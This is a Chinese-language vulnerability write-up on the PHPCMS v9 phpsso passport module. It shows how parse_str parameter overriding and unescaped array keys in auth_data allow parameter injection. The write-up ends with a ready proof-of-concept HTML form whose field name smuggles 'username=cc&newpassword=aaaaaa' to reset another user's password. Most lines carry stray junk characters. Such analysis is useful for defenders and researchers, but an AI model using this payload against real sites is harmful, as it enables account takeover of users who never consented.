提到的通行证的代码:/ K' C% g! S# ]4 R
# M6 u) x0 \0 V" _9 u1 U
. x& ?4 `/ E: c) W- Q7 T* Z) m, kparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);0 d8 [& \, B4 g- {
% G5 n. y- R/ d/ T; ]
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
+ x9 m, _5 K# T; Y/ J, }
2 V- |8 @/ ^- u: w# e我把它留给了你们。
Z( n5 n, _' t不知道你们发现了它没有。
( R9 Q8 z9 h; j) \ c+ w: M, S+ H/ u/ `, S8 b
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
" t6 }! `1 H7 h
( K! ~% K* M* H2 k* W所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
0 o' E2 {, S" J/ c c M, K. w2 D2 p. M! d) T) ~' O' o- y4 [
也就是( y: A/ L/ z& r- E) Z) n
8 s; c3 F. R1 N' S2 j2 A( kusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。1 ^3 f! Z* n+ O B1 R
) w+ d+ F8 l% J3 G) x+ Y
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。# c, ~( N2 A/ @- S: |7 O4 |
6 E- f Q9 V8 A$ ~6 k: J+ R
0 s+ l6 [! w5 b( \+ q- Y4 Q. c, P, x
其实我们有这样的机会,看看代码,如下:& E2 g( H }6 |& F
4 p# o9 k5 U2 f2 h1 T" ^8 M. ]
2 l9 f8 s t/ Ppublic function auth_data($data) {
/ d1 I+ ` P h" n) ^ $s = $sep = '';" c0 U1 {# M$ n; U: V
foreach($data as $k => $v) {3 H4 }) q# ]/ V, g% e, K
if(is_array($v)) {
y7 {- Z5 } _6 H9 D9 ]# M $s2 = $sep2 = '';
: o; k) ^5 [5 Z( Q0 y" J foreach($v as $k2 => $v2) {8 Z4 S7 r9 j$ `& J2 g0 x" a
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);0 h/ b" c' s2 N* r2 o+ u
$sep2 = '&';4 u0 P) D# A# F/ r* {1 A
}- B9 u' B* E, M6 v' s7 z
$s .= $sep.$s2;
( V: t/ I, g5 o3 r5 N- l# g } else {! q3 h) p1 M+ u; J
$s .= "$sep$k=".$this->_ps_stripslashes($v);
& t5 b3 ?# x& T2 w/ B1 t3 V* E }
3 K6 a$ {6 k+ G& U: K. s, { $sep = '&';$ _2 ~ o! t8 p6 C! |' m
}2 o$ Z2 J& R- a4 S/ w7 p" X
' ^2 K8 C; A1 F+ S0 b
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));4 \) j& H% u" p) s) c6 F
return $auth_s;/ g7 j+ V5 {8 u% Y' D, x
}
) D! Q0 @9 t3 B7 q
* ^! [1 u9 s/ k% C6 b: \& F. L; B可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
. x4 _/ q: j7 t' |/ Q) B/ J( a a* S* [: U: H8 B/ B! i0 o% F% X
举个例子
5 F- c3 w8 l6 L" Q' U7 D" \1 p' B
5 M" W8 W4 s3 P% s7 G5 [8 _$a[aaa=a&bbb] = 'a';$ N7 j; T; a' @. `% q
; M/ w, `1 k% y) D6 g- L会变成aaa=a&bbb=a
6 f: n/ x7 c2 y( U7 T% f& _5 e: n3 i, z1 L& Q* [4 V: {+ J
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。, D! P* x2 H/ C7 A2 i6 t0 j4 V
7 }/ j5 D9 H8 Z! @0 T) u+ ~! F6 }
这个时候,我们可以再去看一个函数。
8 v5 Y0 o f* l9 j& E
, P a+ N# p# A就在这个文件内:
& p7 z6 [& s: I8 k4 V. Z
0 m3 j( w3 l3 K Q+ G0 [ t5 T) u+ H4 O& D
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
" o$ q, k3 a4 z6 e T if($email && !$this->_is_email($email)) {
; ~% h4 O8 {8 x return -4;, O7 o* U9 N( t* U
}4 R) O0 l- [4 F; e8 {
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));% L6 S. k2 t, r* k2 J; {. N3 L
}
* X! C5 B/ f' x4 D7 v! l; Z/ F
0 ]7 F, \+ w" f5 ~8 d4 ?这是向通行证发了这样一个请求。
7 Z, _, P5 [ P/ a# w
+ I7 z* G& d6 C; @. C2 Y7 m我们再跟到通信证代码里去看看,就会有所发现。
: I+ Y" J9 W% m# I- z/ [* H1 G, J0 ^* k. j. n d- a3 p1 n+ U8 ~
# S0 O: I+ W( k9 u: _5 y6 M' ^public function edit() {2 ?! O" @$ I( k6 D& `# X8 O7 S+ m
//能省就省,太长了不是吗?
. b% N; t- i; m. m+ T
3 s. J. t) ~$ _/ A2 cif($this->username) {
: _# s6 O9 }" {% a1 [- t) H//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。* B; G8 W3 @* T+ W/ ~4 P# A; s
$res = $this->db->update($data, array('username'=>$this->username));
6 C/ a4 v3 ^* j4 L0 D- B& a" U$ R3 s } else {
5 ?$ C {/ h, G) b9 F file_put_contents('typeb.txt',print_r($data,1).$this->uid);. U: [: V' \9 ?3 A
$res = $this->db->update($data, array('uid'=>$this->uid));
( I6 k! ^( u+ ?5 A" _* n }
, w$ A8 E' s2 }$ A5 U
- R$ ?( L. q0 k好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:& R2 a$ F( K1 e% M% |
' K, m+ s+ S) f P* Kpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
0 w' ^( K4 ~* U3 `! ?4 N
' s. l1 Q+ Q& k& U. R1 g很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。. p' N1 c' ], e
- |( w8 a) i8 R+ ]; h% Y& ~ O我当然找到了:8 R, |- ^; M" h) k
phpcms9/phpcms/modules/member/index.php- d; j1 [' n6 G7 f
* H4 {0 U: S. M
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);, D- M8 U/ Z5 H: [: V
0 p1 ~- E- k* y+ w+ f4 P
然后就没有然后了。6 W) [, U h, _' b
2 t% L+ s; `' ~9 e& e
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
" k5 Y% c: Y) l1 a7 A <table width="100%" cellspacing="0" class="table_form">
/ k: Z/ x, D- N3 J <tr>! \1 G; @2 u K9 |3 |; F+ |
<th width="80">邮箱:</th>
7 v6 g# l$ f' N+ s, G- Y' ~ <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
/ G. a w1 d5 G5 z% U </tr>
% X4 h: ^8 T7 A8 L$ ?) R <tr>5 s: V) U9 s& M% b s
<th width="80">原密码:</th> ; D) }: c: ]: r
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>. j- k X1 T% @" b, H% o j
</tr>
& ^7 P4 X8 p3 h* Q, e; l <tr>' U( c4 \! Z6 K' N- o- o
<th>新密码:</th># l( ~) p+ n5 z; u; ]7 k0 ?
<td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>, H4 P; O# \, ?4 U
</tr>; l( g, b* s0 ~0 ?7 J7 U" W; Z
<th></th>
1 R0 v) M O5 {0 Y3 }& F$ J5 n2 Q <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>0 w, D0 l" w% Y1 l4 T) {
</tr>
, Q3 s( @9 J7 i! f1 [ </table>) {; e7 B' u6 O9 P
0 l. N' j% ~- B6 S7 O& S
% g: G$ m% T. A/ g
</form>
, B! k3 ?) [3 h' u0 t$ n2 [4 J4 y |